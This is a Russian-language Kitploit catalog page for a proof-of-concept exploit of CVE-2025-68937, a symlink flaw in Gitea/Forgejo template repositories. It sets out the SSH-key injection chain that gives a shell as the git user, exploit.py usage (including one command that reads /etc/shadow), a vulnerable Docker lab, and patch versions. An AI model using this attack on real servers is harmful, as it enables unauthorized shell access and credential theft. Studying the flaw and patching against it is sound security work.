Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-68937 — Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user. | Kitploit
Инструменты/GitHubGitHub/scratchappy/cve-2025-68937
Privilege EscalationExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubscratchappy/cve-2025-68937

CVE-2025-68937

Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.

Репозиторий
19 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-68937 - RCE через симлинк в шаблонах Gitea/Forgejo

Автоматизированный proof-of-concept для CVE-2025-68937: обход каталога через разыменование симлинков при обработке шаблонных репозиториев Gitea и Forgejo, приводящий к удалённому выполнению кода.

Любой аутентифицированный пользователь (без прав администратора) может получить shell под пользователем службы git.

Уязвимость

При создании нового репозитория из шаблона Gitea/Forgejo копирует файлы шаблона и разворачивает переменные вида ${REPO_DESCRIPTION} в файлах, перечисленных в .gitea/template. Этот процесс переходит по символическим ссылкам без проверки, что позволяет атакующему читать и записывать произвольные файлы на сервере.

ДетальЗначение
CVECVE-2025-68937
CVSS 4.09.5 Критический
CWECWE-61 (переход по символическим ссылкам UNIX)
Требуется аутентификацияДа (любой пользователь)
Требуются права администратораНет

Затронутые версии

ПОЗатронутые версииИсправлено
Gitea>= 1.11.0-rc1, <= 1.24.61.24.7
Forgejo<= 11.0.611.0.7
Forgejo>= 12.0.0, <= 13.0.113.0.2

Как это работает

root@kitploit:~
                          Gitea Server
                    +---------------------+
 1. Register SSH    |  authorized_keys:   |
    key with        |  command="gitea     |
    ${REPO_DESC}    |  serv..." ssh-ed... |
    as comment      |  ${REPO_DESCRIPTION}|
                    +---------------------+
                              |
 2. Template repo             |  symlink
    authorized_keys --------->+  follows
    -> /data/git/.ssh/        |
       authorized_keys        |
                              v
 3. Create child    +---------------------+
    repo with       |  authorized_keys:   |
    attacker key    |  command="gitea     |
    in description  |  serv..." ssh-ed... |
                    |  <attacker SSH key> | <-- injected!
                    +---------------------+
                              |
 4. SSH as git      $ ssh -i key git@host
    (unrestricted)  uid=0(git) ...
  1. Зарегистрируйте отравленный SSH-ключ в Gitea — комментарий ключа содержит ${REPO_DESCRIPTION}, шаблонную переменную, которую разворачивает Gitea
  2. Создайте шаблонный репозиторий, содержащий:
    • .gitea/template, перечисляющий authorized_keys для разворачивания переменных
    • Симлинк git authorized_keys, указывающий на реальный файл authorized_keys пользователя git
  3. Создайте дочерний репозиторий из шаблона с открытым SSH-ключом атакующего без ограничений в поле описания
  4. Разворачивание шаблона переходит по симлинку, читает реальный файл authorized_keys (содержащий наш зарегистрированный ключ с ${REPO_DESCRIPTION} в комментарии), разворачивает переменную в описание дочернего репозитория (наш SSH-ключ) и записывает результат обратно через симлинк
  5. Подключитесь по SSH как git с внедрённым ключом (без ограничения command=)

Использование

root@kitploit:~
pip install requests
root@kitploit:~
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222

# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git

# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"

# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup

Параметры

Тестовая среда

Запустите уязвимый экземпляр:

root@kitploit:~
docker run -d --name gitea-vuln \
  -p 3000:3000 -p 2222:22 \
  -e USER_UID=1000 -e USER_GID=1000 \
  gitea/gitea:1.24.6
  1. Откройте http://localhost:3000 и завершите мастер установки (SQLite вполне подойдёт)
  2. Зарегистрируйте учётную запись
  3. Выполните:
root@kitploit:~
python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222

Требования

  • Python 3.8+
  • requests
  • git и ssh-keygen в PATH

Устранение уязвимости

  • Gitea: обновитесь до 1.24.7 или новее
  • Forgejo: обновитесь до 11.0.7 (LTS) или 13.0.2+

Ссылки

  • NVD: CVE-2025-68937
  • GitHub Advisory: GHSA-7mhf-6fhv-c83c
  • Анализ исправления безопасности Gitea (PR #36734 и #36746)
  • Заметки о выпуске Gitea 1.24.7

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам противозаконен. Автор не несёт ответственности за неправомерное использование.

Скачать инструмент
ФлагПо умолчаниюОписание
-u, --urlобязательноБазовый URL Gitea/Forgejo
-U, --userобязательноИмя пользователя
-P, --passwordобязательноПароль
--git-home/data/gitДомашний каталог пользователя git на целевой системе
--ssh-hostиз --urlSSH-хост для подключения
--ssh-port22SSH-порт Gitea
--timeout30Секунд ожидания SSH
--commandинтерактивноКоманда для выполнения после получения shell
--cleanup-Удалить артефакты эксплойта